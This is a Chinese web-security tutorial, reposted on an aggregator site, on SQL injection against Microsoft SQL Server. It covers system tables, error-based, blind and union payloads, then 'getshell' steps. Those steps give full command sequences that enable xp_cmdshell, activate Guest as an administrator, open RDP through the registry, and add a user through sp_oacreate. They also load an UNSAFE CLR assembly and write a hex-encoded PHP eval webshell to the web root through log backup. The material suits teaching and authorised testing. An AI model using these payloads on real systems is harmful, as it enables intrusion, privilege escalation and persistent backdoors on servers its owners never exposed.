网络安全进阶学习第十四课——MSSQL注入

这篇具有很好参考价值的文章主要介绍了网络安全进阶学习第十四课——MSSQL注入。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。


一、MSsql数据库

强类型数据库,会把数字和字符严格区分的。


二、MSsql结构

有四个默认的数据库:

  • 1、master(重点)
    保存着SQL Server实例的配置、权限、数据库定义和其他需要的信息。
  • 2、model
    模板数据库。每当创建一个新的数据库(包括系统数据库的TempDB),会创建一个以 Model 数据库为副本数据库,并更改成你创建数据库时所用的名。
  • 3、msdb
    代理的数据库,用于配置警报使用 SQL Server 代理和预定作业等。
  • 4、tempdb
    暂时存储数据的,用于存储系统运行过程中临时产生的数据,例如用户定义的表、索引等。

三、MSsql重点表

1、master 数据库中的Sysdatabases 表

Sysdatabases 表只保存在 master 数据库中,这个表中保存的是所有的库名,主要字段有:name (数据库名)

2、Sysobjects 表

所有数据库内都有此系统表,无论是用户自建的数据库还是系统默认的数据库。该表存放着当前数据库所有的表名(类似MySQL中information_schema数据库中的tables表)。主要字段有:name(表名)、id(表 ID)、xtype(创建的对象)。
xtype='U',代表是用户建立的表。

  • 和MySQL的数据库路径方法有区别:
    Mysql:information_schema.tables
    Mssql:master.dbo.sysobjects

3、Syscolumns 表

所有数据库内都有此系统表,无论是用户自建的数据库还是系统默认的数据库。
该表存放着当前数据库所有的字段名。主要字段有:name(分别是字段名称)、id(表 ID)。其中的 ID 是用 sysobjects 表中得到的表的 ID 号。


四、Mssql常用函数

函数 函数作用
db name() 返回当前数据库的名称
host_name() 返回计算机名称
current_user 返回当前数据库的用户名
user 数据库用户
substring() 字符串截取函数
@@version 查看数据库版本
char() ASCII 转字符函数
cast(text as type()) 字符类型转换,如果转换失败会将 text 结果报错显示在页面上
object_id() 根据表名返回数据库表名 ID
object_name() 根据 ID 返回数据库表名
col_name(object_id,column_id) 举例:Col_name(object_id(‘users’),2) 返回指定表中指定字段(列)的名称

五、Mssql的报错注入

由于Mssql是强类型数据库,一旦数据类型不匹配就会报错。这时我们就可以利用四则运算,让整型数据和字符型数据之间来进行运算,例如1+user。

举例POC:'or 1=convert(int,@@version)--


六、Mssql的盲注

跟mysql差不多,区别在于使用的函数不同

常用以下函数进行盲注:

  • 1、patindex(pattern,string)
    #返回某个字符或正则在某个字符串中第一次出现的位置

  • 2、replace(string,substring1,substring2)
    #将字符串中出现的某个子串替换成另一个字符串,就是将在string中出现的substring1替换成substring2。
    举例:replace(‘1-a 2-b’,’-’, ’:’),返回结果是:1:a 2:b

  • 3、replicate(string,n)
    #指定的次数复制字符串
    举例:replicate(‘abc’,3),返回结果是:abcabcabc

  • 4、stuff(string,pos,delete_length,insertstring)
    #先删除字符串中的一个字串,再插入一个新的子串作为替换
    举例:stuff(‘xyz’,2,1,’abc’),返回结果是:xabcz

  • 5、upper(string)和lower(string)
    #将字符串转换成大写或小写

  • 6、rtrim(string)和ltrim(string)
    #删除字符串中的尾随空格或前导空格

  • 7、charindex(expression1 , expression2 , [ start_location ])
    #返回字符串中指定表达式的起始位置,若查询到就返回位置,若没有查询到就返回false。另外,charindex的参数不区分大小写。


七、联合注入

1、获取当前表的列数

id=-1 order by 4--+
4不报错,5报错

2、获取当前数据库名

id=-1 union all select 1,2,db_name(),4--+
这里返回:mozhe_db

3、获取表名

id=-1 union all select top 1 1,2,name,4 from mozhe_db.dbo.sysobjects where xtype=’U’--+
这里返回:manage

假如要获取下一个表可以使用老方法,直接再where后面添加:and name !=’manage’,就可以弹出下一个表名

4、获取表id

id=-1 union all select 1,id,3,4 from sysobjects where name=’manage’--+
这里返回:5575058

5、获取表字段名

id=-1 union all select top 1 1,2,name,4 from syscolumns where id=5575058 --+
这里返回:username

假如要获取下一个字段名可以使用老方法,直接在where后面添加:and name !=’ username’,就可以弹出下一个字段名

6、获取manage表中username字段的数据

id=-1 union all select top 1 1,2, username ,4 from manage --+
这里返回:admin_mz

假如要获取下一个数据可以使用老方法,直接在后面添加:where username !=’ admin_mz’,就可以弹出下一个字段名


八、注入流程

1、判断权限

如果页面回显正常则为正确,否则报错。举例POC:
and 1=(select IS_SRVROLEMEMBER(‘sysadmin’)) –

2、获取当前数据库

and 1=(select db_name()) –

3、获取当前数据库内的所有数据表

and 1=convert(int,(select quotename(name) from 数据库名.dbo.sysobjects where xtype=‘U’ FOR XML PATH(‘’))) –

注意:
convert函数是强制转数据类型的。
Quotename函数的主要作用就是在存储过程中,给列名、表名等加个[ ]、’’等以保证sql语句能正常执行。
FOR XML PATH 是将查询结果集以XML形式展现,将多行的结果,展示在同一行。

4、获取当前数据库内的指定数据表的所有字段

and 1=(select quotename(name) from 数据库名.dbo.syscolumns where id =(select id from 数据库名…sysobjects where name=‘指定表名’) FOR XML PATH(‘’)) –

5、取指定数据库内的表数据内容

and 1=(select top 1 * from 指定数据库.dbo.指定表名 where排除条件 FOR XML PATH(‘’))–


九、getshell

1、mssql权限

  • sa权限:数据库操作,文件管理,命令执行,注册表读取等system。是mssql的最高权限
  • db权限:文件管理,数据库操作等 users-administrators
  • public权限:数据库操作 guest-users

2、SA权限开启xp_cmdshell 获取主机权限

1)判断xp_cmdshell 是否打开

select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'
网络安全进阶学习第十四课——MSSQL注入,web安全,web安全,学习
返回1是打开;返回0是关闭

  • 如果xp_cmdshell权限没有开启,我们可以执行下面命令开启,下面四步,使xp——cmdshell开启
execute('sp_configure "show advanced options",1')  #将该选项的值设置为1
execute('reconfigure')                             #保存设置
execute('sp_configure "xp_cmdshell", 1')           #将xp_cmdshell的值设置为1
execute('reconfigure')                             #保存设置
execute('sp_configure')                            #查看配置
execute('xp_cmdshell "whoami"')                    #执行系统命令
  • 或者:
exec sp_configure 'show advanced options',1;       
reconfigure;                                       
exec sp_configure 'xp_cmdshell',1;                 
reconfigure;                                      
exec sp_configure;                                 
exec xp_cmdshell 'whoami'; 
  • 可以执行系统权限之后,前提是获取的主机权限是administrators组里的
exec xp_cmdshell 'net user Guest 123456'              #给guest用户设置密码
exec xp_cmdshell 'net user Guest /active:yes'         #激活guest用户
exec xp_cmdshell 'net localgroup administrators Guest /add'  #将guest用户添加到administrators用户组
exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'        #开启3389端口
  • execute(‘sp_configure “show advanced options”,1’) #将该选项的值设置为1
    网络安全进阶学习第十四课——MSSQL注入,web安全,web安全,学习

  • execute(‘reconfigure’) #保存设置
    网络安全进阶学习第十四课——MSSQL注入,web安全,web安全,学习

  • 虽然用第一步判断xp_cmdshell是否打开返回为1,但是依然无法执行命令。使用execute(‘xp_cmdshell “whoami”’) 此命令默认被禁止
    网络安全进阶学习第十四课——MSSQL注入,web安全,web安全,学习

2)然后通过上述的execute步骤,将xp_cmdshell开启

网络安全进阶学习第十四课——MSSQL注入,web安全,web安全,学习

3、SA权限使用sp_oacreate 执行系统命令

使用sp_oacreate的前提:sql server数据服务未降权

我们可以借助sql server中的com组件sp_oacreate来执行系统命令。

1)下面的命令可以查看sp_oacreate 是否被允许:

declare @shell int 
exec sp_oacreate 'wscript.shell',@shell output 
exec sp_oamethod @shell,'run',null,'whoami'

网络安全进阶学习第十四课——MSSQL注入,web安全,web安全,学习

2)开启sp_oacreate

EXEC sp_configure 'show advanced options', 1;    
//类似于exe('sp_configure' "show advanced options",1)
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'Ole Automation Procedures', 1;  
RECONFIGURE WITH OVERRIDE;

网络安全进阶学习第十四课——MSSQL注入,web安全,web安全,学习
由此可以看出,sp_oacreate 命令无回显

3)执行添加用户命令 进行测试

declare @shell int 
exec sp_oacreate 'wscript.shell',@shell output 
exec sp_oamethod @shell,'run',null,
'c:\windows\system32\cmd.exe /c net user hack Password@ /add'   
--上面sql server语言固定,最后一行是执行的系统命令

4、SA权限使用CLR 执行系统命令

创建CLR有两种方式:

  • 使用DLL文件进行创建
  • 使用文件16进制流进行创建

启用CLR功能

exec sp_configure 'show advanced options', 1;
RECONFIGURE;
Exec sp_configure 'clr enabled', 1;
RECONFIGURE;

如果存在权限问题,执行下面命令

alter database [master] set TRUSTWORTHY on  --后续要导入不安全的程序集,因此将数据库标记为安全
EXEC sp_changedbowner 'sa'
导入程序集

CREATE ASSEMBLY [WarSQLKit] 
AUTHORIZATION [dbo] FROM 十六进制数据 
WITH PERMISSION_SET = UNSAFE;
CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER 
AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec;
执行命令

EXEC [dbo].[SqlStoredProcedure1]; 例如:exec sp_cmdExec 'whoami'
删除程序集

DROP PROCEDURE sp_cmdExec;
DROP ASSEMBLY [WarSQLKit];

5、DB_owner权限 LOG备份Getshell

无论是LOG备份还是差异备份,都是利用备份的过程中写入一句话木马

1)sql server常见的备份策略

  • 每周一次完整备份
  • 每天一次差异备份
  • 每小时一次事务备份

2)利用前提

  • 目标机器存在数据库备份文件。也就是说,如果我们利用test数据库,那么要求test数据库存在数据库备份文件,而且恢复模式得是完整模式
  • 知道网站的绝对路径
  • 支持堆叠注入

3)注入代码

alter database 数据库名 set RECOVERY FULL;   #修改数据库恢复模式为 完整模式
create table cmd (a image);    #创建一张表cmd,只有一个列 a,类型为image
backup log 数据库名 to disk= 'C:\phpstudy\WWW\1.php' with init;  #备份表到指定路径
insert into cmd (a) values(0x3c3f70687020406576616c28245f504f53545b785d293b3f3e);  
#插入一句话到cmd表里,十六进制为一句话木马<?php @eval($_POST['x']);?>
backup log 数据库名 to disk='C:\phpstudy\WWW\2.php';     #把操作日志备份到指定文件
drop table cmd;     #删除cmd表

6、综述

利用日志备份,类似于mysql的在日志中写入一句话木马。

修改数据库恢复模式为完整模式,然后创建一个表,备份表到指定路径

在表中插入一句话木马,将日志文件备份到我们知道的路径,最后删除创建的表文章来源地址https://www.toymoban.com/news/detail-632859.html


到了这里,关于网络安全进阶学习第十四课——MSSQL注入的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 网络安全进阶学习第十三课——SQL注入Bypass姿势

    1、like,rlike语句,其中rlike是正则 2、大于号,小于号 3、符号:为不等于的意思相当于!= 4、采用regexp函数 5、in 6、between 1、 substring、substrB 2、 locate(str1,str2) 返回str1字符串在str2里第一次出现的位置,没有则返回0; locate(str1,str2, pos ) 返回str1字符串在str2里pos(起始位置)出现

    2024年02月13日
    浏览(30)
  • 网络安全进阶学习第十二课——SQL手工注入3(Access数据库)

    判断数据库类型 —— 判断表名 —— 判断列名 —— 判断列名长度 —— 查出数据。 asp的网站,常用数据库为access、sqlserver。 and exsits (select * from msysobjects)0 access and exsits (select * from sysobjects)0 sqlserver 上述语句 会返回1或者0 。 msysobjects是access的默认数据库 , sysobjects是sqlserv

    2024年02月11日
    浏览(34)
  • 网络通信原理系统的认知(NEBASE第十四课)

    物理层:建立、维护、断开物理连接,定义了接口及介质,实现了比特流的传输。   1.1传输层介质分类 有线介质:网线 (双绞线)光纤 无线: 无线电 1.2 双绞线 五类线 cat5 :适用 100Mbps 超五类线 cat5e : 适用于 100Mbps 六类cat6e :适用 于 1000Mbps 七类 cat7 适用 1000

    2024年02月16日
    浏览(28)
  • 从0开始学习mysql 第十四课:数据库设计与三范式

    第十四课:数据库设计与三范式 学习目标 在本课中,你将学习关系数据库设计的三个基本范式,它们是用来规范数据库结构,减少数据冗余和改善数据完整性的准则。你将学习: 第一范式(1NF)的概念和实现 第二范式(2NF)的概念和实现 第三范式(3NF)的概念和实现 范式

    2024年01月23日
    浏览(36)
  • 网络安全入门学习第十课——DNS欺骗

    域名系统(英文:Domain Name System,缩写:DNS) 是互联网的一项服务。 作为将域名和IP地址相互映射的一个分布式数据库,能够使人更方便地访问互联网。DNS使用TCP和UDP端口53。 我们本地的计算机在接入网络的时候,都会自动分配一个DNS服务器的IP地址,这个DNS服务器叫做本地

    2024年02月06日
    浏览(36)
  • 第十四课:eNSP AAA配置教程

             AAA是Authentication(认证)、Authorization(授权)和Accounting(计费)的简称,是一种管理框架,它提供了授权部分用户访问指定资源和记录这些用户操作行为的安全机制。因其具有良好的可扩展性,并且容易实现用户信息的集中管理而被广泛使用。AAA可以通过多种协

    2024年01月25日
    浏览(27)
  • 网络安全入门学习第十七课——PHP数组

    索引数组是指 键名为整数 的数组。 默认 情况下,索引数组的 键名是从0开始 ,并依次递增。它主要适用于利用位置(0、1、2……)来标识数组元素的情况。另外,索引数组的键名也可以自己指定。 关联数组是指 键名为字符串 的数组。通常情况下,关联数组元素的“键”和

    2024年02月09日
    浏览(39)
  • 网络安全入门学习第十七课——PHP表单交互

    表单的主要功能:就是在网页上用于输入信息的区域,收集用户输入的信息,并将其提交给后端的服务器进行处理,实现用户与服务器的交互。 例如:购物结算、信息搜索等都是通过表单实现的。 一个完整的表单是由表单域和表单控件组成的。其中,表单域由form标记定义,

    2024年02月12日
    浏览(31)
  • MySQL数据库第十四课--------sql优化---------层层递进

    🎂 ✨✨✨✨✨✨🍧🍧🍧🍧🍧🍧🍧🎂 ​🎂 作者介绍: 🎂🎂 🎂 🎉🎉🎉🎉🎉🎉🎉 🎂 🎂作者id:老秦包你会, 🎂 简单介绍:🎂🎂🎂🎂🎂🎂🎂🎂🎂🎂🎂🎂🎂🎂🎂 喜欢学习C语言和python等编程语言,是一位爱分享的博主,有兴趣的小可爱可以来互讨 🎂🎂

    2024年02月12日
    浏览(41)
  • 网络安全进阶学习第八课——信息收集

    信息收集(Information Gathering)信息收集是指通过各种方式获取所需要的信息。渗透的本质是信息搜集,而信息搜集整理为后续的情报跟进提供了强大的保证。 目标资产信息搜集的程度,决定渗透过程的复杂程度。 目标主机信息搜集的深度,决定后渗透权限持续把控。 收集信

    2024年02月13日
    浏览(30)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包